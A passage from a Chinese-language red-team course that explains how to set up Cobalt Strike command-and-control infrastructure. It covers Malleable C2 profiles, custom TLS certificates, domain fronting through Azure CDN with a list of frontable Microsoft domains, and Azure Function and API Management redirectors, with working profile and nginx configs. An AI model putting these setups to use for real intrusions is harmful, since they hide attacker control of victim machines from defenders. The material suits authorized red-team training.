当然，在 C2 侧写文件中我们能指定的远不止这些，并且随着 CobaltStrike 的版本迭代，越来越多新的选项，尤其是关于 **Beacon 行为特征**的设置，可以被团队服务器识别与生效。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/nyOUVmMZ06egnQXu-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/nyOUVmMZ06egnQXu-image.png)

关于侧写基础选项的语法可以参考官方文档([https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2\_profile-language.htm ](https://hstechdocs.helpsystems.com/manuals/cobaltstrike/current/userguide/content/topics/malleable-c2_profile-language.htm))

我们还在课程的初期阶段，更多后利用与内存特征规避的选项还未接触到(我们会在**第 15 章节**讨论)，但为了避免在中后期因为需要频繁修改侧写文件而丢失所有 Beacon，我们这里可以选择配置了更多选项且相对注重 OPSEC 的 **JQuery-C2** 侧写，可以在 [https://github.com/threatexpress/malleable-c2](https://github.com/threatexpress/malleable-c2) 下载对应 Cobalt Strike 版本的侧写文件。尽管该侧写本身相对成熟，但毕竟依旧是开源的，因此建议你们尝试着自己修改一些选项，也算作为巩固的练习。

我们之前已经创建了 SSL 证书，命令如下。

```bash
openssl req -new -newkey rsa:4096 -x509 -sha256 -days 365 -nodes -out public.crt -keyout private.key
openssl req -new -key private.key -out raven.csr
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/kbGQgbdk6d966IuL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/kbGQgbdk6d966IuL-image.png)

接着，我们需要把证书和密钥导入到 Cobalt Strike 中。先把证书和密钥合成为单个的 **pkcs12** 文件，然后通过 Keytool 导入到 Java 的密钥存储。

```bash
openssl pkcs12 -inkey private.key -in public.crt -export -out azure.pkcs12
keytool -importkeystore -srckeystore ts.pkcs12 -srcstoretype pkcs12 -destkeystore azure.store
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/IVmbpRobcExWzo5L-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/IVmbpRobcExWzo5L-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/iX06ooFTadujxcas-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/iX06ooFTadujxcas-image.png)

我们导入证书，还可以消除 CobaltStrike 的一个特征，即**服务端与客户端之间**通信的**默认证书**。我们能从证书中看到 cobaltstrike 的字样：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/KD7vt1kkj9Fn64BZ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/KD7vt1kkj9Fn64BZ-image.png)

以及修改侧写文件中 **https-certificate** 部分，这将促使 HTTPS 的 Beacon 使用配置的证书。这里，我们复用客户端服务端之间通信的证书，如果有着更高的 OPSEC 需求，甚至可以使用不同的证书。

修改前

```nginx
https-certificate {


    #set keystore "/pathtokeystore";
    #set password "password";

    set C   "US";
    set CN  "jquery.com";
    set O   "jQuery";
    set OU  "Certificate Authority";
    set validity "365";
}

```

修改后

```nginx
https-certificate {
    set keystore "azure.store";
    set password "123456"
}
```

以及不要忘记修改 teamserver 脚本的最后一行中的 **keystore 文件**以及**密码**，保存。

```bash
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49227 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./azure.store -Djavax.net.ssl.keyStorePassword=123123 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*

```

编辑好侧写文件之后，我们可以使用 **c2lint** 工具通过模拟各种情况下的请求与响应来检查侧写文件中是否有语法错误，命令为 **./c2lint xx.profile**

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/CaqhHEfvsi8HMOOL-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/CaqhHEfvsi8HMOOL-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/by5nm1Efi5t2oyK6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/by5nm1Efi5t2oyK6-image.png)

以及不要忘记修改团队服务器端口。编辑 teamserver 脚本，翻到第 57 行，将默认的 **50050** 换为另外一个端口。

```
# start the team server.
java -XX:ParallelGCThreads=4 -Dcobaltstrike.server_port=49227 -Dcobaltstrike.server_bindto=0.0.0.0 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=123456 -server -XX:+AggressiveHeap -XX:+UseParallelGC -classpath ./cobaltstrike.jar:. -Duser.language=en server.TeamServer $*
```

此外，我们可以用工具 **SourcePoint**([https://github.com/Tylous/SourcePoint](https://github.com/Tylous/SourcePoint)) 来生成属于更加自定义的 C2 侧写。我们需要先填写一个 yaml 文件：

```yaml
Stage: "False"
Host: "azuresky.live"
Keystore: "azure.store"
Password: "123123"
Metadata: "netbios"
Injector: "VirtualAllocEx"
Outfile: "sp.profile"
PE_Clone: 20
Profile: 4
Allocation: 5312
Jitter: 30
Debug: true
Sleep: 35
Uri: 3
Useragent:  "Innocent"
Post-EX Processname: 11
Datajitter: 40
Keylogger: "SetWindowsHookEx"
Customuri: 
CDN:
CDN_Value: 
ProfilePath: 
Forwarder: True
```

然后我们用 sourcepoint 来根据 yaml 文件生成自定义的 C2 侧写：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/17Gnui9RKFGPEE9z-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/17Gnui9RKFGPEE9z-image.png)

因为 sourcepoint 生成的侧写的部分选项可能不被我们当前所使用的 CS 版本所支持，我们需要注释掉对应的选项与值，例如：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/QoPll80q1f3h3Ard-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/QoPll80q1f3h3Ard-image.png)

```
# Task and Proxy Max Size
#set tasks_max_size "1048576";
#set tasks_proxy_max_size "921600";
#set tasks_dns_proxy_max_size "71680";
.......
```

然后，使用 C2 lint 测试语法便能通过了。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/5l6f1oSxLCSnW6Sj-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/5l6f1oSxLCSnW6Sj-image.png)

# 使用 Azure CDN 实现域前置

为了行动的 OPSEC，红队们通过各种手段寻求隐藏他们的 C2 基础设施，否则会被防御方以及威胁猎人所追踪到。这些技术中，使用域前置技术来实现对 C2 服务器的隐藏，是卓有成效以及典型的。在这个小节，我们将学习使用 Azure CDN 实现域前置。

因为复现该小节的操作需要一定的成本，因此更多作为内容扩展，而非靶场的强制需要。

### **Azure 简介**

Azure 是微软自家的云平台，类似于亚马逊 AWS，Google Cloud 等。Azure 有着十分广泛的服务范围，涵盖了计算，网络，存储，数据库，应用，IoT，AI 等领域。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/b01QrBum9Yi2lHAO-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/b01QrBum9Yi2lHAO-image.png)

在这些服务中，有诸多可以被红队加以利用的服务，例如 CDN，Function 应用，逻辑应用，API 管理等。并且，几乎所有企业都会使用微软的服务，因此 Azure 一跃成为了红队基础设施供应商 :D

尽管我们在此研究的是 Azure 上可为我们所用搭建安全的 C2 基础设施的服务，在其他云平台上我们也能找到对应的服务。例如 AWS 的 Lambda 与 Azure Function App 高度等同。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/1BvWLMiixkLPTGz1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/1BvWLMiixkLPTGz1-image.png)

### **域前置理论**

在使用 Azure CDN 实现域前置之前，我们需要了解一下域前置的理论与原理。域前置是一种规避互联网审查的技术，它在 **HTTPS 连接**的**不同通信层**中使用**不同的域名**来混淆互联网连接的真实目标。接下来，我们了解域前置技术所涉及的技术术语与过程：

**CDN 与云服务提供商**：域前置的核心是使用托管各种合法域名的大型 CDN 和云平台。 Azure，AWS，Cloudflare 等流行服务过去都曾被用于域名前置，尽管其中一些服务已经不再支持域前置了。

**DNS 解析**：当用户想要连接到特定网站时，例如 example.com，域名通过域名系统 DNS 解析为 IP 地址。

**Host 头**：随着虚拟主机的出现，与不同域名关联的多个网站可以托管在一台主机上，即来自单个 IP 地址。此功能的关键是请求 HOST 头，它指定了目标域名与端口。如下图所示，我们通过指定 HOST 头，可以访问任意被微软托管的网站。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/Goqy11TC3RZpoWog-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/Goqy11TC3RZpoWog-image.png)

**HTTPS 和 SNI**：随着 HTTPS 的出现，引入了名称为 **SNI** 的机制。SNI 允许客户端在 TLS 握手开始时指定要连接到哪个域名。虽然说 TLS 将 HTTP 数据包内容加密了，我们是可以看到数据包的发送终点的。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/mTXA0ls70UnKA6nU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/mTXA0ls70UnKA6nU-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/YaztZbY5ZXFCuICn-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/YaztZbY5ZXFCuICn-image.png)

**域前置过程**：在域前置中，客户端将向前置域(可信，无害的域名)发出 **HTTPS 请求**，该域与目标域(黑名单，或被审查的域)托管在**同一 CDN 平台** 上。然而，尽管 DNS 与 HTTPS 请求中引用的是前置域，但 HOST 头指定目标域。因为 HOST 头在 HTTP 数据包中，属于被加密内容，因此可以实现规避审查的目的。

举个例子，CDN终端 **good.azureedge.net** 为域名 **www.good.com** 代理与缓存，同在 Azure 上的 CDN 终端 **bad.azureedge.net** 为域名 **www.bad.com** 代理与缓存。其中 www.good.com 是可信的域名，而 www.bad.com 被阻断访问。通过域前置技术突破的过程如下：

```
客户端通过 DNS 查询 www.good.com，得到 www.good.com 的 CNAME 为 good.azureedge.net
主 DNS 服务器向 Azure 的 DNS 服务器请求，查询 good.azureedge.net 的 IP
客户端得到 good.azureedge.net 的 IP
客户端向 www.good.com 发起 TLS 握手请求，得到证书
通过 HOST 头指定 bad.azureedge.net 域名，访问到 www.bad.com 内容
```

举个实际例子的话，do.skype.com 可以是前置域，因为其在 Azure 上的 CDN 终端为 skype-do.azureedge.net。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/zozqdFihSlp5p2aI-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/zozqdFihSlp5p2aI-image.png)

我们可以使用工具 **FindFrontableDomains**([https://github.com/rvrsh3ll/FindFrontableDomains](https://github.com/rvrsh3ll/FindFrontableDomains)) 来寻找与验证可用于前置域的域名。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/quGktBEbQW89b36i-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/quGktBEbQW89b36i-image.png)

### **准备工作**

我们的 C2 基础设施结构如下所示，受害主机连接到 Azure 云服务，在本小节是 CDN。Azure 云服务充当着**转发器/代理**的作用，将收到的 Beacon 通信转发至 C2 服务器对外开放的 Nginx 服务器，Nginx 再将 Beacon 通信转发至不可被外部访问的 C2 监听端口。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/psQC1198iRPSV71L-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/psQC1198iRPSV71L-image.png)

理解了结构后，我们先在 VPS 上安装必要的组件：

```bash
apt-get install nginx apache2 python3-certbot-apache
```

编辑 Apache 的配置文件，通过以下命令确认端口 **80** 配置了 **VHOST**：

```bash
apachectl -t -D DUMP_VHOSTS
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/EBxrlQd6RhWkBah6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/EBxrlQd6RhWkBah6-image.png)

这里，我已经购买了域名 **azuresky.live**。使用 **certbot** 工具申请 **LetsEncrypt** 证书

```bash
certbot certonly -d <域名> --apache --register-unsafely-without-email --agree-to
```

```bash
root@ts:/etc/apache2/sites-available# certbot certonly -d azuresky.live --apache --register-unsafely-without-email --agree-to
Saving debug log to /var/log/letsencrypt/letsencrypt.log
Plugins selected: Authenticator apache, Installer apache
Obtaining a new certificate
Performing the following challenges:
http-01 challenge for azuresky.live
Waiting for verification...
Cleaning up challenges

IMPORTANT NOTES:
 - Congratulations! Your certificate and chain have been saved at:
   /etc/letsencrypt/live/azuresky.live/fullchain.pem
   Your key file has been saved at:
   /etc/letsencrypt/live/azuresky.live/privkey.pem
   Your cert will expire on 2023-12-31. To obtain a new or tweaked
   version of this certificate in the future, simply run certbot
   again. To non-interactively renew *all* of your certificates, run
   "certbot renew"
 - If you like Certbot, please consider supporting our work by:

   Donating to ISRG / Let's Encrypt:   https://letsencrypt.org/donate
   Donating to EFF:                    https://eff.org/donate-le
```

因为不需要用到 Apache2，可以卸载或者停止运行。编辑 Nginx 配置文件，完成设置监听端口，指定证书与密钥等操作。

### **使用Azure CDN 实现域前置**

Azure CDN 是我们基础设施的核心。要在 Azure 上创建并启用 CDN，首先我们需要**创建订阅**，并注册 **CDN** 服务。我们可以在 Azure 页面上点击 **Cloud Shell** 并执行如下命令实现。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/HnoyrOqrSW0Yi8sJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/HnoyrOqrSW0Yi8sJ-image.png)

```powershell
Register-AzResourceProvider -ProviderNamespace Microsoft.Cdn
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/v0WBV8XmbJZx8VYm-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/v0WBV8XmbJZx8VYm-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/svjbJ2SZqBtQJ1gg-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/svjbJ2SZqBtQJ1gg-image.png)

从 Azure 页面进入 **Marketplace**，并搜索 **Front Door and CDN profiles**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/IfrVmMilElukVE85-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/IfrVmMilElukVE85-image.png)

创建一个新的侧写：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/Bug2JxJ24ViFRFMr-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/Bug2JxJ24ViFRFMr-image.png)

在 Offerings 选项中，选择 **Explore other offerings** 以及 **Azure CDN Standard from Edgio**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/kbVflsgFgVBhmjrC-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/kbVflsgFgVBhmjrC-image.png)

填写相关信息，订阅选择刚刚创建的 **pay-as-you-go**，以及对应的资源组。**CDN 终端名称**决定了我们的**子域名**，**Origin type** 选择 **Custom Origin**，**Origin hostname** 填写我们的 **C2 服务器域名**，**Query string caching behavior** 选择 **Bypass caching for query strings**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/W9EFSub7CIn1KTX3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/W9EFSub7CIn1KTX3-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/aniep0fygOAy9emA-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/aniep0fygOAy9emA-image.png)

检查并提交

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/dwAxkkf0BAUe13pU-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/dwAxkkf0BAUe13pU-image.png)

创建好后，进入 **Caching rules** 设置，将 **Query string caching behavior** 选择 **Bypass caching for query strings**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/Jy9yQBFlzTcwQbJQ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/Jy9yQBFlzTcwQbJQ-image.png)

截获微软应用的请求，或使用之前提到的工具，我们可以得到以下这些(以及更多)可作为前置域的微软域名，我们可以把这些域名一并加入主机池里。通过将 **Host 头**设置为 **CDN 终端**，我们最终可以实现隐藏 C2 服务器。

```
ajax.microsoft.com
ajax.aspnetcdn.com
do.skype.com
msdn.microsoft.com
az416426.vo.msecnd.net
officeimg.vo.msecnd.net
```

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/qbHXEAEnr2ttGrZx-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/qbHXEAEnr2ttGrZx-image.png)

编辑 **/etc/nginx/nginx.cnf** 文件，增加**侧写中的 URI**，以及设置基于 **UA** 的请求过滤：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/KnLQ2miTAYky3F6g-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/KnLQ2miTAYky3F6g-image.png)

```nginx
        server {
                listen 443 ssl;
                listen [::]:443 ssl;
                server_name localhost;
                #proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
                ssl_certificate /etc/letsencrypt/live/azuresky.live/fullchain.pem;
                ssl_certificate_key /etc/letsencrypt/live/azuresky.live/privkey.pem;
                location ~ ^/(index.html|content.php|api/azure|static/index.html|jquery-3.3.1.slim.min.js|jquery-3.3.2.slim.min.js|jquery-3.3.1.min.js|jquery-3.3.2.min.js) {
                         if ($http_user_agent != "dlerinfra") {  
                         return 403;
                         }
                        proxy_pass https://localhost:10443;
                }
        }
}

```

生成 exe 载荷，执行，我们能成功执行命令并获得输出。使用工具 ProcessHacker 查看 Beacon 的网络通信，我们发现 Beacon 与 152.199.4.33，72.21.81.200，13.107.213.36，72.21.81.200 等 IP 通信。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/duMnpBLe67sVX2kc-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/duMnpBLe67sVX2kc-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/evk0z0onYQ1ALDjj-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/evk0z0onYQ1ALDjj-image.png)

实际上，这些 IP 都是我们之前发现的支持域前置的微软域名，即 Beacon 通信流量不会直接流向 C2 服务器。这样，我们实现了对 C2 服务器的隐藏。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/mhBqNDwKd5IBvngz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/mhBqNDwKd5IBvngz-image.png)

# Azure 函数应用转发器

Azure 函数是无服务器的解决方案，允许我们写更少的代码，维护更少的基础设施，以及节约更多的开支。我们可以提供自己的代码，使得 Azure 函数充当着转发器的作用。

从 [https://github.com/RedSiege/FunctionalC2/tree/master/Azure/FunctionCode](https://github.com/RedSiege/FunctionalC2/tree/master/Azure/FunctionCode) 下载可用的 Azure Function App 的 Python 代码。实际上 Function App 还支持例如 .NET 等其他语言，因为较为简洁易读，这里采用 Python 代码部署。

下载并安装 **Visual Studio Code**，安装 **Azure Tools** 插件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/xOdxHXyFGnIPUVns-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/xOdxHXyFGnIPUVns-image.png)

安装之后，点击左侧的 **Azure Tools** 拓展，登录 Azure，我们便能看到当前账户的资源。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/6YbPPrT1TmnEkRVi-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/6YbPPrT1TmnEkRVi-image.png)

编辑下载的代码，将 URL替换为 C2 服务器对外开放的 **Nginx 服务器的地址**，附加上相应的**终端**。也可以在代码中添加其他功能，例如对发送至 Function App 的请求做出**过滤**，实现代理/转发器的功能。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/b3QNowrCkpMXDo3X-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/b3QNowrCkpMXDo3X-image.png)

编辑好代码后保存，在 Code 中选择代码所在的文件夹作为**本地工作空间**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/oRpB7aKRumOedKWM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/oRpB7aKRumOedKWM-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/n2BE3CUbwjsjoaoF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/n2BE3CUbwjsjoaoF-image.png)

点击资源栏的加号，创建新的 Function App，并选择对应的选项，语言选择 **Python**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/C7kE4uDatP4aGnbv-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/C7kE4uDatP4aGnbv-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/U6VZB8EjbDewiGR1-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/U6VZB8EjbDewiGR1-image.png)

创建完成后得到输出

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/GLnUNuQjC01PRiTs-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/GLnUNuQjC01PRiTs-image.png)

将本地的 Function App 文件部署到 Azure 端。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/pExDYrcSsbZF9t4g-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/pExDYrcSsbZF9t4g-image.png)

部署完成后，输出中会包含终端的 URL：

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/poSr7amTUhqq434E-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/poSr7amTUhqq434E-image.png)

将 **/api/getit** 与 **/api/postit** 终端分别添加到 Nginx 配置文件中使其能被 Nginx 转发到团队服务器，以及 C2 侧写中。(使用 JQuery 侧写有遇到奇怪的 BUG) 一份可用的侧写如下所示：

```
#
# Online Certificate Status Protocol (OCSP) Profile
#   http://tools.ietf.org/html/rfc6960
#
# Author: @harmj0y
# Updated: by FortyNorth Security to demo Azure Functions
#

set sleeptime "3000";         # 3 Seconds
set jitter    "20";            # % jitter
set useragent "dlerinfra";

https-certificate {    
    set keystore "ts.store";
    set password "123123";
}

    set maxdns             "255";
    
http-get {
    set uri "/api/getit";
    client {
        header "Accept" "*/*";
        metadata {
                        base64;
                        prepend "OSID=";
                        header "Cookie";
                }
    }


    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Cache-Control" "max-age=547738, public, no-transform, must-revalidate";
        header "Connection" "keep-alive";
        output {
            print;
        }
    }
}



http-post {
    set uri "/api/postit";
    client {
        header "Accept" "*/*";     
        id {
                base64;
                prepend "TRY=";
                header "Cookie";
        }

        output {
            print;
        }
    }


    server {
        header "Content-Type" "application/ocsp-response";
        header "content-transfer-encoding" "binary";
        header "Cache-Control" "max-age=547738, public, no-transform, must-revalidate";
        header "Connection" "keep-alive";
        output {
            print;
        }
    }
}


set host_stage "false";
http-stager {
        set uri_x86 "/api/stageit";
}

```

在 CS 客户端生成 exe 载荷，执行后，团队服务器便得到了会话，可以成功执行命令并得到输出。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/uUWe2VCeWTON4lLM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/uUWe2VCeWTON4lLM-image.png)

美中不足的是，Beacon 的外部 IP 显示为 127.0.0.1，但这是**可以解决的**。至于如何解决，这作为一个课后作业。

我们看到，Beacon 与 **20.49.104.36** 通信，该 IP 为我们 Function App 的地址，因此我们实现了对 C2 服务器的隐藏。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/9EwBsGBty0n4B5PB-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/9EwBsGBty0n4B5PB-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/LR1aFJIZa5qmDupH-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/LR1aFJIZa5qmDupH-image.png)

# Azure API 管理服务转发器

类似于 Azure Function 应用，Azure API 管理服务也可用于搭建安全的 C2 基础设施。在 Azure 面板中，导航到 **API Management services**，创建新的 API 管理服务。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/J5W4NY0VBuikHJpE-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/J5W4NY0VBuikHJpE-image.png)

点击 **Add API**，添加 2 个HTTP API，分别用于处理 **GET** 与 **POST** 请求。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/0Yme6QgdF4VY7ej6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/0Yme6QgdF4VY7ej6-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/VXCVpuSazTr9cqsa-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/VXCVpuSazTr9cqsa-image.png)

**Web service URL** 填写 C2 服务器 Nginx 的 URL，因为我们在 **API URL suffix** 添加了名为 **get** 的后缀，因此 Nginx URL 这里也对应地补上。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/QCZh1TeGabW6TDRM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/QCZh1TeGabW6TDRM-image.png)

取消对 **Subscription required** 的勾选，其他保持默认即可。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/3D8lXTSW8KQ2qGZM-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/3D8lXTSW8KQ2qGZM-image.png)

在该 API 里通过点击 **Add operation** 来添加一个操作，指定请求类型为 **GET**，以及**终端名称**。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/EdLMapFeVBjfOBng-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/EdLMapFeVBjfOBng-image.png)

这样，就完成了处理 GET 请求的 API 管理服务。我们重复类似的步骤来完成处理 POST 请求的 API 管理服务。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/TzFsXmf5hXqoRUp6-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/TzFsXmf5hXqoRUp6-image.png)

这样，这 2 个终端的完整 URI 如下所示：

```
GET:  https://dlersec-api.azure-api.net/get/api
POST: https://dlersec-api.azure-api.net/post/api
```

修改 Nginx 配置文件添加对这 2 个终端的转发，使得从 Azure 转发至 Nginx 的请求最终被转发到 C2 团队服务器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/yR4tZe92OpnlXNDz-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/yR4tZe92OpnlXNDz-image.png)

以及修改侧写文件中的 URI

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/HIEwVbOITMWbyYFF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/HIEwVbOITMWbyYFF-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/HcHJsnUBLaYJINRS-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/HcHJsnUBLaYJINRS-image.png)

使用 curl 测试以下，成功得到了 C2 的响应。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/zjTHJzDDxOHq93bF-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/zjTHJzDDxOHq93bF-image.png)

生成 exe 载荷并执行，成功获得会话，并且命令执行与输出一切正常。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/jrne59ZVCoaijUd3-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/jrne59ZVCoaijUd3-image.png)

查看 Beacon 的通信地址，IP 是 20.241.189.223，也就是我们 Azure API 管理服务的地址，成功隐藏了 C2 服务器。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/uNQq5wpnobsLH6Vl-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/uNQq5wpnobsLH6Vl-image.png)

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/5d9qXayUht7K7raV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/5d9qXayUht7K7raV-image.png)

# 课程所用 C2 服务器配置

考虑到在 Azure 上部署服务作为 C2 基础设施的组成部分，具有一定的门槛与成本，在课程推进与靶场中，我们搭建一个简易的 C2 基础设施。出于节约成本起见，转发器与 C2 服务器同主机，让 Nginx 充当反向代理，我们需要保护 CS 的监听端口。

这里我们选择 JQuery C2 侧写文件。

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-01/scaled-1680-/s9oOkrRF5ZeENYaJ-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-01/s9oOkrRF5ZeENYaJ-image.png)

我们可以添加特定的 User Agent，这样的话，除了我自己的 Beacon，不会有其他的浏览器或者客户端工具使用相同的 User Agent

[![image.png](https://raven-medicine.com/uploads/images/gallery/2023-10/scaled-1680-/W8ftXC6pehCLWlRV-image.png)](https://raven-medicine.com/uploads/images/gallery/2023-10/W8ftXC6pehCLWlRV-image.png)

在 CS 中新建一个监听器，**HTTPS Hosts** 即 **VPS IP**，HTTPS Host (Stager) 同样如此。HTTPS Port (C2) 为 **Nginx 监听端口**，**HTTPS Port (Bind)** 为 Cobalt Strike 的**监听器端口**。

